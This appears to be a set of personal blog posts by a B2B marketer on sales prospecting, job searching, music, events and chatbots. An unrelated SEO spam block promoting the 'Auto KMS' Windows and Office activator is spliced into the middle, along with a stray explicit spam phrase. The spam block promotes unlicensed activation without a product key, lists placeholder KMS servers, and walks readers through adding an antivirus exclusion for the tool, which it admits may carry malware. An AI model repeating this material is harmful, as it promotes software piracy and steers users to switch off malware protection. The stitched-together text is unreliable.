B2B companies typically have a team of Sales Development Reps (AKA Business Development Reps), who reach out to prospects by phone or email to set appointments for the company’s salespeople. So how do they find phone numbers or email addresses? Reps located offshore would often unknowingly populate the CRM with toll-free numbers. I would advise them that most area codes in the 800 range are toll-free numbers, which are rarely answered by someone who works for that company. In fact, the people answering those numbers probably work for an outsourced customer care partner (our competitors). Not only would the agent taking the call not know who that decision maker is, they wouldn’t have contact information or the ability to transfer a call to them. Toss out the toll-free number and continue searching.

You can consult a search engine, but the chances are excellent that the phone number will be wrong, disconnected, or not answered by humans. Aren’t there tons of companies that claim to sell contact information? Sure. ZoomInfo, UpLead, Apollo, and others provide email addresses and phone numbers. But these are not especially accurate. The email addresses stand a better chance of being correct because there are only a handful of email address conventions (e.g., first initial then last name, or first name dot last name, followed by the email domain) so if you find one person’s email address at a company you can guess your way to finding your prospect’s email address. Telephone numbers are a totally different story. My experience shows that 10% to 20% of company phone numbers provided by ZoomInfo and their ilk are correct, and maybe 5% of the individual phone numbers will get you to the correct person.

Once you’ve found a number for the company, the next hurdle is reaching the prospect. Call the main number and set the bar low. Gone are the days when a helpful receptionist would answer and route your call. Press 1 for Sales, press 2 for HR (usually a link to an employment verification service that I hope isn’t me), press 3 for Customer Support, and so on. Good luck getting a human. And if they have a dial-by-name directory, run screaming.

Companies such as Ring Central, Mitel, Dialpad, 8×8 and more develop dial-by-name directories. Unfortunately, they are all frustrating to use. With technology that has been around for more than 30 years, why doesn’t it work? Can we use AI to make them useful?

As the eternal optimist, I think we can. Full disclosure – I’ve never purchased, installed, implemented, or maintained a dial-by-name directory in my life. I just try to use the things. This is all just conjecture based on some research I’ve done on the subject. Here goes…

AI can significantly enhance dial-by-name directories by improving their accuracy, efficiency, and user experience. Here are several ways AI can be applied:

• Speech Recognition: Implement advanced speech recognition algorithms to accurately transcribe spoken names. AI models trained on large datasets can better understand diverse accents and pronunciation variations to improve recognition accuracy.
• Natural Language Processing (NLP): Utilize NLP algorithms to interpret user queries and match them with the most relevant names in the directory. This includes understanding synonyms, variations in naming conventions, and contextual clues to provide more accurate results.
• Machine Learning: Train the models to continually improve recognition accuracy by learning from user interactions and feedback. Maybe these directories don’t get enough use for machine learning to learn anything?
• Contextual Understanding: Develop AI systems capable of understanding the context of a conversation to refine search results. For example, if a user asks for “Kevin from the marketing department,” the system should prioritize names matching both “Kevin” and “marketing” over other results.
• Integration with Other Systems: Can you integrate the AI-powered dial-by-name directories with other enterprise systems such as HR databases? This would go a long way toward matching the letters on the dial pad with up-to-date contact information.

By leveraging AI technologies, dial-by-name directories should become more accurate, efficient, and a lot less frustrating to use.

As I’ve mentioned in previous blog posts, one of my favorite movies is The Commitments. It’s the fictional story of a group of scruffy people who banded together to form a 1960s-style rock and soul revue in the unlikely city of Dublin in the late 1980s. They were supposed to meet and presumably jam with music legend Wilson Pickett. The day came. The band waited. He didn’t show. Imagine how bummed they must have felt. To elevate the mood, the most experienced player in the band (the trumpet player, who claimed to have worked with Elvis Presley and other legends) referred to the missed meeting as “it was poetry – you raised their expectations.” Whether or not Wilson Pickett even knew about the meeting, for a brief while the band members had something to lift them out of their grind and aspire to something greater.

I’ve had more than a few of those moments in my career, such as…

Interviewing for a marketing leadership role at a company I’ve worked with and long admired. Another with a company I’ve competed against and always wanted to join.

Project managing all workstreams related to product and service award submissions, identifying and partnering with subject matter expert contributors, and serving as the internal champion, and then waiting for the award announcement. Sometimes your name is called, sometimes it isn’t.

A company I worked for was invited to bid on a $16 million deal – one of the largest opportunities in the company’s history – as a direct result of my relationship with an analyst firm. Even though the prospect was a Tier 1 for the company, the salesperson was unaware of the opportunity. The company lost because the bid was significantly more expensive than another supplier. Not a cry for help but a statement of fact, the marketing function of the organization (that would be me) is not involved in pricing.

Spending countless hours researching, roleplaying, and giving it all you have, only to come in second in literally hundreds of interview situations.

So how do you rebound from a setback?

Allow yourself to (briefly) feel disappointed: It’s normal to feel disappointed or upset. Allow yourself to acknowledge these feelings without judgment. Take some time to process the rejection and reflect on what went well during the interview process and think about what areas you could improve in your presentation.

Stay positive and maintain perspective: This is especially true in the analyst RFI and awards submission processes. It’s important to maintain a positive attitude and keep things in perspective, especially if this is your first award or you’re working with team members who are new (to the process, the company, or to you). Remember that this rejection does not define your worth or product/service value. Keep in mind that there are other opportunities out there, and this setback is just a step closer to a win.

Keep moving forward: Use this setback as motivation to continue pursuing your goals. Stay resilient and determined. Although the Commitments broke up when Wilson Pickett didn’t show, you can pick yourself up and keep moving forward.

One of the attendees on a recent video call asked me why I have a piñata in my office. The answer is not only a story about the piñata, but also a lesson in the art of following up on a sales call.

The concept of the piñata is believed to have originated in China and was part of the Chinese New Year celebration. The celebrations had colorful figures of animals that were filled with seeds. Striking the animal figures to let the seeds fall out was seen as a sign of good luck. The tradition eventually made its way to Europe and ultimately Mexico. Over time, piñatas have transformed into colorful, intricate works of art that are part of many ceremonies.

Fast forward to early 2021. Because offices were closed in the dark days of COVID and people were working remotely, the concept of sending a gift to an office was no longer feasible. To paraphrase Michael Crichton, commerce finds a way. Practically overnight this whole industry of people sending stuff to home addresses magically appeared. Nearly every week, someone would ping me on LinkedIn to ask if they could send me a piñata through the mail. Probably a dozen companies asked to send me a piñata. Why a piñata crept into the zeitgeist and not some other form of gift is a mystery, but I responded to the more credible requests. The responses were usually met with deafening silence. Did these companies vaporize as soon as they formed? Was offering to send a piñata no longer attractive for a salesperson? My cynical New Yorker brain thought these may have been thinly disguised attempts at securing home addresses for nefarious purposes. Fortunately, that didn’t happen – but the lack of response from these solicitations was concerning.

Finally, one company did send me a piñata. You didn’t have to whack it with a stick to open it. Senor piñata had a trap door on the top. The candy inside didn’t look very appealing and was soon discarded. The next day, the salesperson who sent it called me. Package delivered, transaction completed, customer surprised and excited. This transaction would prove to be the exception.

I kept this one in my office. Why did I keep it? Not because everything else in the office is white or beige and I needed a splash of color on video calls. It was because these guys delivered and followed up. The other piñata people either ghosted me on LinkedIn, or shipped and I never heard from them again. That is the lesson. If you are a salesperson, outbound demand generator, job candidate, or anyone offering their services, following up with the prospect is as crucial as taking that first step.

Activate Windows and Office Easily with Auto KMS Tool

Auto KMS is a popular solution for users who want to activate Windows and Office products without hassle. This tool helps you unlock full features by providing a simple way to activate your software. With auto kms, you can enjoy all the benefits of genuine Windows and Office without needing a product key. It works by using a Key Management Service (KMS) to activate your system, making it a reliable choice for many users. Auto KMS supports different versions of Windows and Office, ensuring compatibility and ease of use. By using this tool, you can keep your software up to date and secure, while avoiding activation errors. Auto KMS is designed to be user-friendly, so even beginners can activate their products quickly and safely.

How Does Auto KMS Work for Windows and Office Activation?

Auto KMS uses a special activation method to help users activate Windows and Office products. This tool relies on kms technology, which is a popular way for organizations to manage software licenses. The activation process is simple and automatic, making it easy for anyone to use. By using the kms protocol, auto kms connects your computer to a local activation system instead of contacting Microsoft directly. This activation mechanism helps users unlock all features without needing a product key.

The table below shows how auto kms compares to other activation methods:

Feature	Auto KMS	Manual Activation	Online Activation
Uses KMS technology	Yes	No	No
Automatic activation	Yes	No	Yes
Needs product key	No	Yes	Yes
Works offline	Yes	No	No
Supports many devices	Yes	No	Yes

“Auto KMS makes the activation process simple and quick for everyone.”

What is AutoKMS and how does it work?

AutoKMS is a tool that uses the kms protocol to activate Windows and Office. It works by setting up a fake activation system on your computer. This system tricks your software into thinking it is connected to a real KMS server. The activation mechanism checks your license every 180 days and renews it automatically, so you do not have to worry about losing access.

• AutoKMS uses kms technology to create a local activation method.
• It works in the background and does not need user input after setup.
• The activation process is safe and does not harm your computer.

List of KMS servers for activation

Auto kms can use different KMS servers to complete the activation process. These servers help your computer communicate with the activation system and unlock all features. Here is a list of common KMS servers used for activation:

• kms01.local
• kms02.network
• kms-server.example
• officekms.activate
• win11kms.keyserver

“Choosing the right KMS server is important for a smooth activation process.”

Windows 11 KMS key and activation process

For Windows 11, auto kms uses a special KMS key as part of its activation method. This key is entered into the activation system, and the kms protocol is used to verify the license. The activation process for Windows 11 is quick and automatic, thanks to kms technology.

Steps for Windows 11 activation with auto kms:

1. Install auto kms on your computer.
2. The tool adds the Windows 11 KMS key to your system.
3. Auto kms connects to a KMS server using the kms protocol.
4. The activation mechanism checks and activates your Windows 11.
5. Your system is now fully activated and ready to use.

“Auto KMS makes Windows 11 activation easy by using a trusted activation system and kms technology.”

Is AutoKMS Still Active and Safe to Use?

AutoKMS is still used by many people as an activation tool for Windows and Office products. This activation software helps users unlock full features without needing a product key. It works by connecting your computer to a local activation system, which is a common method for software licensing in organizations.

When using AutoKMS, it’s important to understand how license management works. The activation tool checks your license status and renews it automatically, so you don’t have to worry about losing access to your software. However, because AutoKMS is not an official activation system, there are some safety and security concerns to consider.

Here is a quick comparison table to help you understand the differences between official and unofficial activation tools:

Feature	Official Activation	AutoKMS Activation Tool
Provided by Microsoft	Yes	No
Automatic License Renewal	No	Yes
Needs Product Key	Yes	No
Risk of Malware	Low	Medium
License Management	Official	Unofficial

“Always be careful when using any activation software that is not from the official provider.”

Protection and security considerations

When using AutoKMS or any activation tool, you should think about your computer’s safety. Some activation software can be flagged by antivirus programs because they change system files. This does not always mean they are harmful, but it is a risk to consider.

• Make sure to download activation tools from trusted sources.
• Keep your antivirus software updated.
• Regularly check your system for any unusual activity.

“Protecting your computer is important when using any activation system.”

Add an exclusion for AutoKMS in antivirus

Sometimes, antivirus programs may block AutoKMS because it changes how software licensing works on your computer. If you trust the activation tool, you can add an exclusion in your antivirus settings. This will stop the antivirus from removing or blocking AutoKMS.

Steps to add an exclusion:

1. Open your antivirus program.
2. Go to the settings or protection area.
3. Find the option to add exclusions or exceptions.
4. Add the folder or file where AutoKMS is installed.
5. Save your changes and restart your computer.

“Adding an exclusion helps AutoKMS work without interruptions from your antivirus.”

KMS auto reddit user experiences

Many users on Reddit have shared their experiences with AutoKMS. Some say it is a helpful activation tool for managing software licensing and license management. Others warn about possible risks, like malware or system errors.

Here are some common points from Reddit users:

• AutoKMS is easy to use for activating Windows and Office.
• Some users had to add exclusions in their antivirus for the activation software to work.
• A few users reported issues with updates or system stability.
• Most users agree that using official activation systems is safer.

“Listening to other users’ experiences can help you decide if AutoKMS is right for you.”

Technical Analysis of AutoKMS Malware Risks

AutoKMS is a tool that helps activate Windows and Office without a product key. But using this tool can bring some malware risks. When you install AutoKMS, it changes system files to make the activation work. This process can open your computer to software threats if the tool is not safe.

A technical analysis of AutoKMS shows that it works by pretending to be a Key Management Service (KMS) server. This tricks your computer into thinking it is activated. However, because AutoKMS is not official software, it can be targeted by hackers. They might add harmful code to the tool, which can cause malware risks.

Activation risks are also a concern. If the tool does not work right, your Windows or Office might stop working. Some antivirus programs see AutoKMS as a threat and may block or remove it. This can lead to problems with activation and even cause your computer to act strangely.

Here is a table showing the main risks of using AutoKMS:

Risk Type	Description
Malware Risks	Harmful code may be hidden in the tool
Activation Risks	Activation may fail or stop working
Software Threats	System files may be changed or damaged
Antivirus Alerts	Tool may be blocked or removed by antivirus

“Using unofficial activation tools can put your computer at risk for malware and other software threats.”

Advantages and potential risks of using AutoKMS

AutoKMS can make activating Windows and Office easy. It saves time and does not need a product key. Many people like it because it is simple and automatic.

But there are also potential risks. The tool can bring malware risks if it is not from a safe source. It can also cause activation risks, like losing access to your software. Some antivirus programs may see it as a threat and block it. This can make your computer less safe.

Here is a list of advantages and risks:

• Easy to use and automatic activation
• No need for a product key
• Can be used on many computers

But:

• May bring malware risks if downloaded from unsafe sites
• Can cause activation risks if not set up right
• Might be blocked by antivirus as a software threat

“Always think about the risks before using any activation tool.”

Windows 10 KMS server list and setup tips

To use AutoKMS with Windows 10, you need to connect to a KMS server. This server helps your computer activate Windows. Picking the right server is important for a smooth setup.

Here is a list of common KMS servers for Windows 10:

KMS Server Name	Purpose
kms10.local	Local activation
win10kms.network	Network activation
officekms10.activate	Office and Windows activation
kms-server10.example	General activation

Setup tips for using AutoKMS with Windows 10:

• Choose a trusted KMS server from the list above.
• Make sure your antivirus does not block the tool.
• Follow the setup steps carefully to avoid activation risks.
• Check that your Windows version matches the KMS server.

“A good setup helps avoid software threats and keeps your system safe.”

Windows 10 Pro product key 64 bit vs. KMS activation

There are two main ways to activate Windows 10 Pro 64 bit: using a product key or KMS activation. Each method has its own features.

With a product key, you enter a unique code to activate Windows. This is the official way and is very safe. There are almost no malware risks or activation risks.

With KMS activation, you use a tool like AutoKMS. This method is automatic and does not need a product key. But it can bring software threats and malware risks if the tool is not safe.

Here is a comparison table:

Activation Method	Needs Product Key	Malware Risks	Activation Risks	Software Threats
Product Key	Yes	Low	Low	Low
KMS Activation	No	Medium	Medium	Medium

“Choosing the right activation method can help keep your computer safe from software threats.”

FAQ

Many users have frequently asked questions about using AutoKMS for activating Windows and Office products. This section answers common activation queries and provides helpful kms information to make things clearer. If you are new to activation tools, these answers will help you understand how AutoKMS works and what you should know before using it.

Below is a table summarizing some of the most common activation queries:

Question	Short Answer
Can I use AutoKMS for Windows 10 and Windows 11?	Yes
Is it legal to activate Microsoft products with AutoKMS?	No, it’s not legal
How do I setup a KMS server for multiple devices?	Use KMS host setup
What if AutoKMS is detected as malware?	Check antivirus

“Knowing the answers to frequently asked questions can help you avoid problems and use activation tools safely.”

Can I use AutoKMS for Windows 10 and Windows 11 activation?

Yes, AutoKMS can be used for both Windows 10 and Windows 11 activation. The tool uses kms information to connect your computer to a KMS server, which helps activate your system without a product key. This makes it a popular choice for users who want a simple activation method.

• Works with different Windows versions
• Uses the same activation process for both Windows 10 and 11
• Helps unlock all features without extra steps

Is it legal to activate Microsoft products with AutoKMS?

No, it is not legal to activate Microsoft products with AutoKMS. This tool is not approved by Microsoft and goes against their software licensing rules. Using AutoKMS may break the terms of service and could lead to problems with your software license.

• Not an official activation method
• May cause legal issues if used in businesses or schools
• Always check the rules before using any activation tool

How do I setup a KMS server for multiple devices?

To setup a KMS server for multiple devices, you need to install KMS host software on one computer. This computer will act as the activation server for other devices on your network. Here are the basic steps:

1. Install KMS host software on a main computer.
2. Enter your KMS host key.
3. Activate the KMS host with Microsoft.
4. Connect other devices to the KMS server using kms information.
5. Each device will be activated through the KMS server.

“Setting up a KMS server helps manage activation for many devices at once.”

What should I do if AutoKMS is detected as malware?

If AutoKMS is detected as malware by your antivirus, you should first check if you downloaded it from a trusted source. Sometimes, activation tools are flagged because they change system files, not because they are harmful. Here’s what you can do:

• Double-check the source of your download
• Add an exclusion in your antivirus settings if you trust the tool
• Scan your computer for real threats to stay safe

“Always be careful with activation tools and make sure your computer is protected.”

I’ve been in job search mode for the last quarter of 2023. Although a lot has changed in the few years since I’ve been in this mode (for example, LinkedIn has become the most used and reliable job board), there are still a few old pains that continue. Here are just a few mild rants directed at a few business practices:

To staffing firms: How hard would it be to tell the applicants something about your client? Is your client a law firm, luxury brand, sports team, retailer, etc.? Are they looking for someone with B2B or B2C or B2G experience? Add a descriptive phrase or two. As a marketer who has sought named client testimonials and case studies in the business process outsourcing industry (where non-disclosure language is standard with most client contracts), I am certain that saying something basic about your client will not betray their confidentiality. It is a screening measure that may also deter candidates who don’t have relevant experience from applying, which may decrease the number of applications you’ll have to review. Wouldn’t it be better to be seen as a hero?

To companies with applicant tracking systems (ATS): The good news is that the clunky Taleo applicant tracking system has gone the way of the 8-track tape! Newer ones such as Workday and Greenhouse are much better from this applicant’s perspective, but there are still a few questionable processes out there:

• Why are candidates required to set up an account on your ATS, when you are merely going to reject my application in a few hours? It is unlikely that I will apply for another job at your company, so why put people through the motion? This is a master class in customer dissatisfaction.
• Why do I have to fill out the EEO statements multiple times? I’ve already told you about my ethnicity, race, gender, citizenship, sponsorship status, and disability status once in the form. Why do you ask me to do it again – are you concerned that I will change my answers?
• Aren’t topics like age, race, marital status, and sexual preference still illegal to ask in job interviews? If they are, why are they OK to be asked on the job application/ATS?

To companies that assign a task to candidates: As a hiring manager I have done this. When I was hiring for a content writing role, I gave a writing assignment (usually 500 to 1,000 words on a topic) to finalist candidates. The goals were to see how they project-managed, and in the days before ChatGPT how they wrote and presented their ideas. All finalist candidates had the same number of days to turn in finished work. So I understand the tactic. But make sure it is fair and don’t use what the candidate sends you.

To companies where I interviewed but didn’t get the job: Provide feedback! It is cowardly to just ship a generic form letter when a candidate has invested hours in preparation, presentation, follow-up, and the interview itself. I’ve even interviewed with the CEOs of some companies, only to receive a generic letter. Provide feedback! Tell the truth – are you looking for someone with different experience than I have, or you’ve re-thought the role, or I said something that triggered a red flag, or my presentation was less than expected, you didn’t think I would fit into your team? Let me know. This is someone who has had rocks and firecrackers thrown at him when he has played concerts. I have pretty thick skin and can take it. If you are concerned that a candidate will try to sue or use it against you, think again. This candidate is only interested in continuous improvement and helping his next employer to succeed.

Here’s to a productive 2024!

creampie gattouz0

Are you familiar with the concept of unconscious bias? It is when people make judgments or decisions based on prior experience, their own personal deep-seated thought patterns, assumptions or interpretations, and at times they are not aware that they are doing it. The Oxford Learner’s Dictionary defines it as an unfair belief about a group of people that you are not aware of and that affects your behavior and decisions.

I’ve been on the receiving end of it for nearly nineteen years. And I can pinpoint my move from DC to Dallas – which was the result of a corporate relocation that I chose to make and am glad I did – as to when it began. I don’t ever recall being asked if I’ve always lived in New York or DC in the decades I lived there. But if it comes up in a discussion (maybe with a work colleague, or vendor, or client or prospect) that I am based in Dallas, immediately the other person assumes I have never been anywhere else. Why? Where did the notion of a hermetically sealed Lone Star State come from? Texas has undergone a considerable transformation in recent decades, and its urban centers may well be among the most diverse environments in the country. The state has experienced countless corporate relocations over the years, with companies from all over the US bringing a lot of workers with them. Most of my neighbors are newish Texas residents because of corporate relocation. We had a block party a few years ago, and learned there were only 3 families out of 20 on this street who were native Texans. People moved here from Illinois, California, Maryland, Arizona, Georgia, Rhode Island, and even other countries. So why do people outside of Texas not realize this? You’d think that the tons of cities in Texas named after other places (Fredericksburg, Roanoke, Bedford, Arlington, Palestine, Rome, and Dublin, to name a few) might provide a clue to the large number of transplants here.

I’ve tried to find answers online, but unfortunately there are no clear answers. Anyone who has heard me speak would quickly find an indication of a life lived to the north or east. I’ve made an icebreaker US football analogy about working my way through the NFC East. My digital footprint is sprinkled with some hints that although I live in Texas now, I’m not from here. Since you’re reading this blog post, scroll up to the photo at the top of the page. You’ll see that same bridge on my LinkedIn profile. Recognize it? If you think it is somewhere in Texas, guess again. It is the bridge portion of the Robert Moses Causeway on Long Island. Robert Moses was an urban planner who is regarded as one of the most powerful and influential individuals in the history of New York, despite never having held an elected office. The Robert Moses Causeway (or as the locals affectionately call it, the Bobby Mo) connects West Islip to the barrier beach islands. My high school was a few yards from the bridge, and my family would sail toward it on frequent sailing excursions. It serves as a nice reminder of my Long Island roots.

Do you know where the title of this blog post comes from? Here’s a hint. It is the last line spoken on the first side of an album that was released 50 years ago this year. And I’ve visited the site of the album cover.

The annual Burning Man festival is in the news this week, more as a debacle than a celebration. Although I’ve never been, I’ve always associated Burning Man with concert festivals such as Lollapalooza, Warped, and the veritable but not forgotten HFStival. Turns out it was something else again.

The weeklong event—known for its art, communal activities and atmosphere, and burning of effigies—is held in a 7-square-mile temporary city on the Black Rock Desert playa. This is one of the flattest and driest places on Earth, and this year it saw nearly 3 months’ worth of precipitation over the course of 24 hours. Tropical Storm Hilary brought heavy rains to the Burning Man site, causing a gate closure for guests ahead of the festival’s start. The downpour almost immediately transformed the dry desert surface into mud. Most vehicles became trapped and officials urged attendees to shelter in place and conserve resources, while some made the hike (5 miles) to the nearest town. Traffic for the 72,000 people getting out of there was brutal to say the least. Reading these stories reminded me of a concert at what was then called Nissan Pavilion near the Bull Run battlefield in Virginia. The concert ended in a sudden downpour, and the drive for 20,000 people up the narrow road to Route 66 took longer than the concert itself.

Back to Burning Man. The event was founded with the best of intentions. According to https://burningman.org/about/10-principles/ these are the ten principles…

Radical inclusion, Gifting, Decommodification, Radical self-reliance, Radical self-expression, Communal effort, Civic responsibility, Leaving no trace, Participation, and Immediacy.

They sort of have the right idea. But it is increasingly expensive. A former work colleague was a somewhat regular attendee. Their first Burning Man was 2002, and back then it cost around $40 a ticket. The last year they went was 2016, and the cost exceeded $400 a ticket. Now it’s at least $700 + a car fee. Way too much for a spot in the desert. And my colleague noted that in 2016, they waited 8 hours in line to get in, along with 3 hours in line to leave a day early. Brutal indeed.

So where did Burning Man go wrong? First of all, there is logistics. Burning Man erects a temporary town in the Nevada desert. Supply lines and an infrastructure need to be put in place. Something the organizers did not count on was climate change. Rain in the desert? Check. Aside from the logistical challenges that arise from planning large events, and the possibility of external emergencies, there also is the risk of festivals failing because of poor management.

Burning Man will likely go on next year, as will so many annual events.

Confession time – I haven’t been involved with organizing such a large and complex event as Burning Man. But I’ve organized tons of events involving hundreds of attendees, coordinated tens of thousands of flights and reservations, been on countless site visits, trusted untold number of vendors and partners, and spent hours anticipating/countering anything that could possibly go wrong. Something always does. It is how you respond that makes the difference.

One of the more fun things about getting your colleagues more famous is doing podcasts. I’ve been a podcast champion for years and have encouraged my PR partners to secure them.

So now I am looking to start one of my own, and recently connected via LinkedIn with someone who has been running them for about 8 years. Big shout out to Adam Merino at Influencerr TV https://www.linkedin.com/company/influencerrtv/.  He’s a pro. We were discussing how to launch a podcast today, and he said to visualize one of three people – someone you know that want to help, someone you visualize, and yourself from ten years ago.

Several people that I’d want to help, and each for different reasons, and those will be future topics. I’ve put together campaign playbooks that utilized a Mr. Potato Head approach (the headshot of one person on the bio of another on the demographics of still another) so visualizing the second person is easy. On that third person, my mind immediately went to the Yardbirds song “Happenings Ten Years Time Ago” from way back in 1966. The Yardbirds were the breeding ground for Eric Clapton, then Jeff Beck, then Jimmy Page. Although their most memorable songs were written by outside writers, they had a few of their own. “Happenings Ten Years Time Ago” was one of them. They were in their early twenties when they wrote it, and it is about looking back yet not sure if it was a dream. The surviving members are in their late seventies now, so looking back that long probably seems like a dream now. To commemorate his tenth year in the music business, one of Philadelphia’s greatest cultural icons, Todd Rundgren, devoted half of his 1976 album Faithful to incredible covers of that Yardbirds song and others popular in that year such as “Good Vibrations” and “If 6 Was 9.” Confession time – when I’ve played the Beatles’ deep cut “Rain” I am more familiar with Todd’s version than the original, so that is the one I play live.

Back to the podcast. So what would I say to myself of ten years ago (that would be 2013 for those of us not good at math)?

• Remind yourself to take the meeting. And don’t be afraid to take a day away.
• Turning sixty isn’t nearly as scary as turning forty. You will still have most of your own hair and it will be in the original color. Own it.
• ProTools is only half the Satan that Dave Grohl says it is. Sometime in the next ten years, you will purchase a licensed copy and will learn to not hate it.
• Embrace new technologies such as ChatGPT and NightCafe, just like you did with blogging a decade earlier. Play with them and see how you can work them into your toolkit.
• Cherish every conversation – in person, over the phone, or digital – with your parents. You never know when it will be the last one.

My two cents. Podcasts will not take the place of blog posts. There are many channels out there. Embrace all of them that work for you.

Today’s blog post is inspired by a recent article from Crystal Theis, The Clash of the Titans in Our Minds. Here is a mind-bending concept – the maps and mapping programs that we use today were based on assumptions made centuries ago. Wait, what?!? This is true. Europe was basically the center of the known world, so the maps were drawn from a European perspective. So imagine completely changing your perspective. You may get a different view, but you will never create the permanent change you’re looking for without fully adopting the new perspective. So, if you find you’ve been vacillating or struggling to make a change, then you may need to revisit your perspective and the underlying assumptions.

If you’re looking at something that looks like a rock, look a little closer. Be wary of the assumptions that look like rock but are nothing more than Styrofoam. The assumptions used to build the Pyramids were rock. We know that because they’re still standing!

Sure, the Pyramids were built on rock-solid assumptions. But what about the Tower of Pisa? And that thought got my mind in motion. What if the Tower of Pisa had been built on something more solid, and it didn’t lean? Would we still care about it? Would it even still be standing? Perhaps the tower with a better construction would have been bulldozed to make way for a shopping mall or a parking lot. So the flaw is actually the differentiator!

Embrace the imperfections that can make a difference. One of the most famous models of my generation is Cindy Crawford. She has a birthmark (also known as a beauty mark) on the right side of her face. Modeling agents asked her to remove it, but she pursued a modeling career anyway. This minor imperfection helped get her noticed.

Another imperfection that turned out to be a difference maker is in the British Invasion band the Kinks. They were not exactly the tightest band, nor were they stellar musicians. But they had something in that ragged grandeur. Sir Raymond Douglas Davies, their bandleader and primary songwriter, once said the reason for his band’s popularity was Flaws. People love our flaws.

The key takeaway: embrace the flaws. Look carefully at what appears to be a rock. It could be Styrofoam.

One of the most talked-about technologies today is chat, and in particular a chat bot technology known as ChatGBT. The technology has a lot going for it – it is easy to get started, easy to use, and (best of all) it is free. And a little addictive.

I attended a webinar recently that discussed ChatGBT’s role in the marketing mix. The webinar presenters created email subject lines with a human writer and with the chat bot, and attendees got to pick which was which. It was really hard to tell! I liked some of the bot-written subject lines better than those written by humans. There was also some recent controversy about school systems banning students’ use of chat bots in creating term papers.

So I downloaded an instance of ChatGBT for my personal use. I was listening to a lot of Lou Reed and Warren Zevon that week, and for fun I asked ChatGBT to write songs in the styles of these late legends. The instructions were to write a song about Dirt Farming in their respective styles. Lou Reed, like me, was a Long Island native so dirt farming would be pretty far removed from the experience. Warren Zevon was from California (which he predicted would slide into the ocean in his incomparable “Desperadoes Under the Eaves”), and probably never farmed anything either.

Exhibit A: Song about Dirt Farming in the style of Lou Reed

Verse 1: Out in the fields, under the sun Working the land, it’s where we come from Dirt farming, it’s the way of life From dawn till dusk, we work through the strife

Chorus: Oh, dirt farming, it’s what we do Sowing the seeds, watching them sprout anew Harvesting the crops, feeding the land Dirt farming, it’s what we understand

Verse 2: The earth, it’s our mother, our provider We tend to her, with love and desire Our hands, they may be calloused and worn But our spirits, they are never forlorn

Chorus: Oh, dirt farming, it’s what we do Sowing the seeds, watching them sprout anew Harvesting the crops, feeding the land Dirt farming, it’s what we understand

Bridge: The seasons may change, but our work remains From the early spring, to the summer rains Through the autumn breeze, and the winter frost Dirt farming, it’s never lost

Chorus: Oh, dirt farming, it’s what we do Sowing the seeds, watching them sprout anew Harvesting the crops, feeding the land Dirt farming, it’s what we understand

Outro: Out in the fields, under the stars We work the land, without any scars Dirt farming, it’s the life we choose And we wouldn’t have it any other way, it’s true.

Exhibit B: Song about Dirt Farming in the style of Warren Zevon

Verse 1: Well, I grew up in the country, out in the fields Tending to the dirt, it’s where my heart yields Planting seeds and watching them grow There’s just something about it, don’t you know

Chorus: Dirt farming, it’s a way of life Working hard from dawn till night Harvesting crops, feeding the land Dirt farming, it’s the life we planned

Verse 2: I remember my father, a man of the earth Teaching me everything, from birth Sweating under the sun, digging in the soil Hard work and dedication, it’s our toil

Chorus: Dirt farming, it’s a way of life Working hard from dawn till night Harvesting crops, feeding the land Dirt farming, it’s the life we planned

Bridge: The seasons come and go, but we stay true To the land, and all that it’s due From the seed to the harvest, we give our all Dirt farming, it’s our call

Chorus: Dirt farming, it’s a way of life Working hard from dawn till night Harvesting crops, feeding the land Dirt farming, it’s the life we planned

Outro: Dirt farming, it’s not for everyone But for us, it’s where we belong The land, it’s our heart and soul Dirt farming, it’s how we roll.

The moral of the story – chat bots are here to stay. The technology will continue to grow and improve. This could be a great inspiration for marketers who are stuck in writing the next line. But I don’t think a chat bot will be inducted into the Songwriters Hall of Fame any time soon.

A few months ago, a friend posted a story on Facebook about a recurring dream. His dream involved having tea with Roger Daltrey and Pete Townsend of the Who. Pretty interesting stuff, especially since Roger is an avid tea drinker and Pete is better known for much harder stuff. Their conversation included kids, life on and off the road, and plans for the summer. My friend posed a question about recurring dreams especially during the pandemic, and I shared my recurring dream.

I’ve actually had two recurring dreams, which started decades ago. The first one involves Jimmy Page, one of a few people who have been inducted into the Rock & Roll Hall of Fame twice (first as a member of the Yardbirds and later as a member of Led Zeppelin). In the dream, I am on a layover in London’s Heathrow airport and I’ve stopped at an Admiral’s Club. Mr. Page is seated at the bar and I grab a seat next to him. He has been interviewed countless times, and has been described as curmudgeonly, dismissive, and sometimes downright combative. Do I care? Nope, I’m about to chat with a legend. So I decide to ask him guitar nerd questions, thinking he would enjoy the conversation. Led Zeppelin’s music is known for its layered sound, accomplished with numerous tracks of overdubbed guitars – a few Les Pauls, a Telecaster or two, the odd Danelectro, and maybe an acoustic – building up to a cavernous sound. I wanted to know how he translated that sound to the concert stage. When I asked him how he arranged all those guitar tracks into a single play onstage, he shot me an awful look. I could swear the paint on the walls was boiling. He looked baffled, and was clearly not amused. No matter how many times I’ve had the dream, he never spoke an answer.

The second dream is a little more varied. I am looking out a window but each time the scene is different – the window has been in a city bus, a subway train, a taxi, and a jet. What am I looking at? There is a choir of street people right outside the window. And they are singing Lou Reed’s “Satellite of Love” in a beautiful harmony. A Capella. Always that early 70s deep cut from one of Long Island’s finest songwriters. The harmonies are different; I remember one being barbershop style, another sounding like the Beach Boys, and another a Himalayan chant.

What does it all mean? Way too big a question. But don’t be afraid to dream. A music legend might just get around to answering your question.

This one is a blog post that I wrote and published on the HGS website, about my insights and takeaways from the Next Generation Patient Experience conference.

 

The full post is https://www.teamhgs.com/blog/5-ngpx2019-insights-first-time-attendee.

 

 

Gearing up for a major trade show usually means “show specials,” or specific promotions designed to help spur business at the show. The other day a colleague asked me if I was finished creating a flyer for a promo we had discussed. After spending most of a day in promo flyer mode, I didn’t have any ideas left to start work on that one. So what did I do? With a lot of other projects I was working on, I turned my attention to some work that had been on the back burner. Something totally different. I related to my colleague the story of the “Battle of Evermore” from Led Zeppelin’s fourth album. The song is a radical departure from what you’d associate with Led Zeppelin. The song has very little instrumentation, just an acoustic guitar and a mandolin. Very soft percussion. The vocals, a duet with Robert Plant and Sandy Denny, are sung in a whisper. Band leader Jimmy Page once explained why he wrote “Battle of Evermore,” saying he picked up bassist-keyboardist John Paul Jones’ mandolin, and made up this quiet song to clear his head. The idea came to him quickly, and it was unique. So I explained that in order to clear my head and focus on the promo flyer, I needed to work on something different.

Sometimes you have too many ideas going through your head and they are not connected. Sometimes you get stuck. There are a lot of ways to get unstuck, connect the ideas, and get the juices flowing again. I wrote a blog post about retraining your head. My blog post Mona Lisas and Mad Hatters is about taking something familiar and placing it in an entirely different context.

